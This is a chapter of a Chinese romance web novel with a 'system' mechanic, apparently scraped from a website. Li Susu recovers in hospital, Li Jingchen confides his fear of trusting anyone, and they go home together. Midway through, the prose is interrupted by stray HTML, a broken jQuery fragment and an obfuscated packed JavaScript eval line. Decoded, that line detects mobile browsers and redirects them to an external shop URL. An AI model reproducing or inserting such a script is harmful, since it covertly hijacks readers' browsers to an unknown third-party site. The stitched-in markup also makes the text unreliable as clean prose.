李苏苏愣了一下:“你知道?”
“从一开始就知道。”
“那你为什么……”
“因为我怕。”厉景琛打断了她的话。
这是厉景琛第一次主动说出“怕”这个字。
李苏苏安静了,等着他继续说。
厉景琛在床边坐下来,看着窗外,阳光落在他的侧脸上,将他的轮廓映照得格外清晰。
“李苏苏,你知不知道,我从小到大,从来没有信任过任何人。”
李苏苏没有说话。
“我母亲离家出走的时候,我三岁。我不记得她的样子,只记得她走的那天晚上,下着雨,她抱着我哭了很久。后来她死了,我再也没有见过她。”
他的声音很平静,平静得像在说别人的故事。
“我父亲重男轻女,不喜欢女孩,但对我这个儿子也不算亲近。他眼里只有厉氏集团,只有家族的声誉。我和厉景川对他来说,首先是继承人,其次才是儿子。”
“厉景川从小就讨厌我。他觉得是我抢走了本该属于他的一切。他处处针对我,明里暗里使绊子,我十岁的时候就被他推进过游泳池,差点淹死。”
“所以我学会了不信任任何人。不信任,就不会失望。不失望,就不会受伤。”
他转过头,看着李苏苏。
“但是你出现了。”
李苏苏的心跳加速了。
“你像个无赖一样闯进我的生活,赶都赶不走。你说你喜欢我,要跟我谈恋爱,要倒贴钱泡我。我觉得你脑子有问题。”
李苏苏忍不住笑了。
“但你一次又一次地证明,你是认真的。你说厉景川要动我的车,他动了。你说康源生物的药有问题,确实有问题。你说老宅的汤里有毒,汤里真的有毒。”
他顿了一下,声音放轻了。
“你挡在我面前,替我挨了一刀。”
李苏苏的眼眶红了。
“厉景琛……”
“你先听我说完。”厉景琛抬手制止了她。
“我想了一整夜,想不通你为什么要这么做。你不是厉家的人,你跟厉景川没有过节,你甚至不需要在我身上得到什么。你有钱,有颜,有脑子,你完全可以找一个比我更好的男人,过平稳安定的生活。”
他看着她,目光很深。
“但你选择了我。一个不会爱人、不会表达、不会照顾人的男人。”
李苏苏的眼泪终于掉了下来。
“所以我想告诉你,”厉景琛的声音有些发紧,“如果你现在想退出,还来得及。”
李苏苏愣了一下:“什么?”
“如果你想退出,我——”
“厉景琛你闭嘴!”李苏苏用那只没扎针的手擦了一把眼泪,又气又笑,“我为你挡了一刀,你在手术室外面等了好几个小时,你在我额头上亲了一下,你给我喂了粥,你现在跟我说‘你可以退出’?”
她深吸一口气,瞪着他说:“你这个人,是不是对浪漫过敏?”
厉景琛看着她红红的眼眶和倔强的表情,忽然笑了。
不是微微弯嘴角的那种笑,而是真正的、从心里涌出来的笑。
“对,”他说,“我对浪漫过敏。”
“那你对什么不过敏?”
“你。”
李苏苏愣了一秒,然后脸“唰”地红了。
这次不是额头红,不是耳尖红,是整张脸从额头红到下巴,红得像煮熟的虾。
“厉景琛……你……你是不是在撩我?”
厉景琛看着她红透的脸,嘴角的弧度又大了一些。
“你觉得呢?”
“我觉得你在撩我!”
“那就当我在撩你吧。”
李苏苏捂住了脸,整个人缩进了被子里。
她听到厉景琛低低的笑声,从被子外面传进来,低沉而温柔,像大提琴的声音。
她的心跳快得像打鼓,快到她觉得心脏下一秒就要从胸腔里跳出来了。
系统助手:“任务值百分之九十五了。”
李苏苏在被子里闷闷地说:“还差五个点。”
“你急什么?他都说了‘我对你不过敏’,这已经是最大的告白了。”
“你不懂,我要的不是‘不过敏’,我要的是……”
她没有说下去。
因为她想要的那三个字,他现在还说不出口。
没关系。
她可以等。
李苏苏在医院住了五天。
这五天里,厉景琛每天都来,每次来都带着她喜欢吃的东西。有时候是粥,有时候是汤,有时候是她念叨了很久的草莓蛋糕。
公司的文件堆满了病房的茶几,他就在她旁边办公,一边处理工作一边陪着她。
护士们看到这一幕,私下里议论纷纷。
“那个就是厉氏集团的厉总吧?好帅啊!”
“他对女朋友好好哦,每天都来陪着。”
“什么女朋友?我听说是他未婚妻。”
“真的吗?他们好般配啊!”
李苏苏听到这些议论,心里美滋滋的,但表面上装出一副不在意的样子。
“厉景琛,你听到护士们说什么了吗?”
厉景琛头都没抬:“没有。”
“她们说我长得好看。”
“她们瞎了。”
“厉景琛!”
厉景琛抬起头,嘴角微弯:“开玩笑的。你确实好看。”
李苏苏的脸又红了。
她发现自从受伤之后,厉景琛变得“会说人话”了。之前他说话总是冷冰冰的,要么是“嗯”“哦”“还行”,要么就是直接不理人。但现在,他开始会开玩笑,会说好听的话,甚至会主动撩她。
虽然撩得很生硬,但李苏苏已经很满意了。
这天下午,厉景琛收到了一条消息,看了一眼,眉头微微皱了一下。
“怎么了?”李苏苏问。
“厉景川的事,”厉景琛把手机放到一边,“检察院已经正式批捕了,等待审判。”
李苏苏看着他:“你难过吗?”
厉景琛沉默了片刻:“有一点。”
“毕竟是亲哥哥。”
“不是因为他是我哥哥,”厉景琛摇了摇头,“是因为他本来可以不用走到这一步的。他有能力,有资源,有机会。但他选择了最错的路。”
李苏苏伸出手,轻轻碰了碰他的手背。
“不是你的错。”
“我知道。”
“不要自责。”
“我没有自责。”
“你有,你的眉毛都皱成一团了。”
厉景琛抬起手,摸了摸自己的眉毛,然后放下了。
“李苏苏。”
“嗯?”
“你出院之后,有什么想做的事吗?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615123|205881||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
李苏苏想了想:“我想去海边。”
“海边?”
“对,我想去看海。我以前从来没去过海边。”
厉景琛看着她亮晶晶的眼睛,点了点头:“好,等你好透了,我带你去。”
李苏苏笑得眼睛弯成了月牙:“说好了,不许反悔。”
“不反悔。”
出院那天,厉景琛亲自来接她。
李苏苏换上了自己带来的衣服——一件白色的宽松衬衫和一条浅蓝色的牛仔裤,头发披散着,左肩还缠着绷带,但整个人看起来精神了很多。
“走吧,”厉景琛接过她的包,“回家。”
“家”这个字从他嘴里说出来,让李苏苏的心跳又漏了一拍。
她跟着他走出医院,阳光洒在身上,暖洋洋的,空气里带着初秋的凉意和桂花的香气。
“厉景琛,你有没有觉得今天的阳光特别好?”
“嗯。”
“你有没有觉得今天的天特别蓝?”
“嗯。”
“你有没有觉得今天的我特别好看?”
厉景琛停下脚步,转头看着她。
阳光落在她的脸上,将她的皮肤照得几乎透明,她的眼睛里有光,有笑,有满满的都是他。
“好看。”他说。
不是“还行”,不是“不错”,是“好看”。
李苏苏笑了,笑得眼睛都眯成了一条缝。
“走吧,”厉景琛拉开车门,“回家。”
车子驶出医院,汇入车流。
李苏苏靠在副驾驶上,看着窗外飞速后退的街景,心情好得像飞在云端。
“厉景琛。”
“嗯。”
“你那天在医院说,你现在有了‘什么’。”
厉景琛的手指在方向盘上顿了一下。
“那个‘什么’,是什么?”
厉景琛没有回答,但他的手从方向盘上移开,伸过来,握住了她的手。
十指相扣。
“你猜。”他说。
李苏苏低头看着两个人交握的手,笑了。
“我猜是我。”
厉景琛没有否认。
车窗外,阳光正好,秋风不燥。
李苏苏靠在座椅上,嘴角弯弯的,在心里对系统说:“任务值多少了?”
系统助手:“百分之九十七。”
“还差三个点。”
“你知道那三个点是什么。”
李苏苏当然知道。
那三个点,是那三个字。
厉景琛还没有说出口的那三个字。
但她不急。
因为刚才,他说了“家”。
他说了“好看”。
他说了“你猜”——而他所谓的“你猜”,其实就是默认。
这就够了。
剩下的三个点,她会让它自然而然地到来。
不着急,不催促,不强求。
因为她知道,这个男人,已经完完全全地属于她了。
只是他自己还没意识到而已。
---
回到别墅,李苏苏发现家里变了。
客厅的茶几上多了一束花,是她最喜欢的白色百合。沙发上多了几个靠枕,是她之前在网上看中的那款。厨房里多了一台新的榨汁机,是她念叨过想买的。
“这些都是你买的?”李苏苏看着厉景琛。